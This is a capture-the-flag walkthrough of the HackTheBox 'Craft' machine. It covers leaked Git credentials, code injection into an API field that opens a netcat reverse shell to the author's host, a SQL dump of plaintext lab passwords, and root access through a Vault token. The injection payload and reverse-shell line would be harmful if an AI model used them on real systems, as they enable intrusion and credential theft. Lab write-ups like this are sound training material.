HackTheBox: Craft
Enumeration
Like always, we start off with an Nmap scan of all ports. On this host we see that there are 6 ports open:
nmap -p- -sV 10.10.10.110
- 22: OpenSSH 7.4p1 Debian 10+deb9u5 (protocol 2.0)
- 443: ssh/http ngnix 1.15.8
- 6022: ssh protocol 2.0
Enumerating HTTPS
We see a web page about a fantastic topic, craft beer! Straight away on the top right, I see two items which catch my eye. The main thing is the Git icon which is a hyperlink to the REST craft-API. In addition, we see a hyperlink to a Git application. The Git hyperlink takes us to the source code of the craft-API. Great! We are dealing with an at least partially open-source web application here.
Enumerating the API repository
There are a lot of files to inspect, and I am not exactly sure where to start. However, I know the main thing that I should look for is some vulnerable code. More specifically, code which does not sanitize user input before being sent to the server. I look in the tests folder, and there is a test.py
script, which has a placeholder for credentials near the top. OK, so no luck right here. However, we have to think about Git misuse. I can speak from experience that putting placeholders for credentials into code is very risky, as your credentials can end up checked-in to the repository.
Note, before you go looking into my repositories, I have securely removed the mistake, including the bad commit, and changed the impacted password.
As this is a Git platform, there is version control. I wondered if the commit with credentials has been removed or not. The initial commit for test.py
is still there, and so are the credentials! (dinesh:4aUh0A8PbVJxgd
). However, we also need to check if the credentials have been updated to mitigate the mistake. So, I try to login to the Gogs application with the newfound credentials, and we get access! Bingo!
Getting the Initial Shell
We continue to look at test.py and see that some commands are sent directly to the server. We can use the script and send a command which initiates a reverse shell connection. Alter the brew_dict['abv']
string to the code below. And Bingo! We are root! No privilege escalation required.
brew_dict['abv'] = '__import__("os").system("nc 10.10.14.9 1234 -e /bin/sh")'
But wait, not so fast. A medium rated HackTheBox host getting root by simple code injection? That would have been too easy. Far too easy for a medium rated box. I quickly noticed that there is no root flag, and the hostname appears to be a simple random generated string. It turns out that we are in a sandbox.
Enumerating the Initial Shell
All right, so we are in the sandbox which I assume is intended. Let’s poke around while we’re here. I noticed a dbtest.py
script, which seems like it could be promising. Running the script seems to retrieve the first line stored in the brew
table. Interesting.
I decided that there are two ways to move forward here. We can either try to login to the SQL database directly or edit the dbtest.py
script to get some further information. It would be possible to login to the SQL database directly, because the file containing the credentials are accessible locally on the host. I decided to use the latter method and changed the dbtest.py
script.
The first step is to identify the alternative tables available to us. We can do this by changing the SQL query to SHOW tables
. We see a user
table which contains user entries including their username and password. Luckily for us, the developer ignored security and did not hash the passwords – therefore the passwords are stored in plaintext.
try:
with connection.cursor() as cursor:
# Fetch all tables
sql = "SHOW tables"
cursor.execute(sql)
result = cursor.fetchall() # important to fetch all results
print(result)
finally:
connection.close()
try:
with connection.cursor() as cursor:
# Fetch all users
sql = "SELECT * FROM `user`"
cursor.execute(sql)
result = cursor.fetchall() # important to fetch all results
print(result)
finally:
connection.close()
[{'id': 1,
'username': 'dinesh',
'password': '4aUh0A8PbVJxgd'},
{'id': 4,
'username': 'ebachman',
'password': 'llJ77D8QFkLPQB'},
{'id': 5,
'username': 'gilfoyle',
'password': 'ZEU3N8WNM2rh4T'}]
Enumerating Gilfoyle
The login for ebachman
was unsuccessful, however it was possible to login to gilfoyle
on the Git platform. Straight away I noticed that there is a private repository named craft-infra
which could contain the infrastructure information about the craft application. Opening the repository alarm bells started to go off when I saw the .ssh
folder! It turns out that gilfoyle has stored their SSH keys on the git repository. We do not get too excited, it’s possible that this is a bait and that the SSH keys will not work. I downloaded the repository and used the id_rsa
file to identify myself, however the key must be unlocked with a passphrase. By now we know that security has taken the back seat, and we try our luck by using the same credentials that we found earlier. And viola, we login! Amazing, we got the user.txt flag.
So, we need to enumerate some MORE!!! To start, we look at the files that are stored within the gilfoyle user home directory, and we see a .vault-token
stored. When looking further in the craft-infra repository, we see a vault.craft.htb server within the nginx.conf
file.
After reading up a little on nginx vaults, I realize that it is something meant for only the admin. Vault is a program installed on the host and we can use it to ssh as root user by using the vault token in gilfoyle’s home directory.
$ vault ssh root@10.10.10.110
When logging in, the application asks us to put in the one time password which is displayed to us. I simply copy paste the OTP and then successfully login as root user on the craft host. This time the root user is not in a sandbox like before haha.
Closing Thoughts
This is a super awesome box, and I am grateful that I did it. In my opinion it is very realistic and has little capture the flag element towards it. I believe that this host revolves around incorrect usage of Git, placing information on the platform which should not.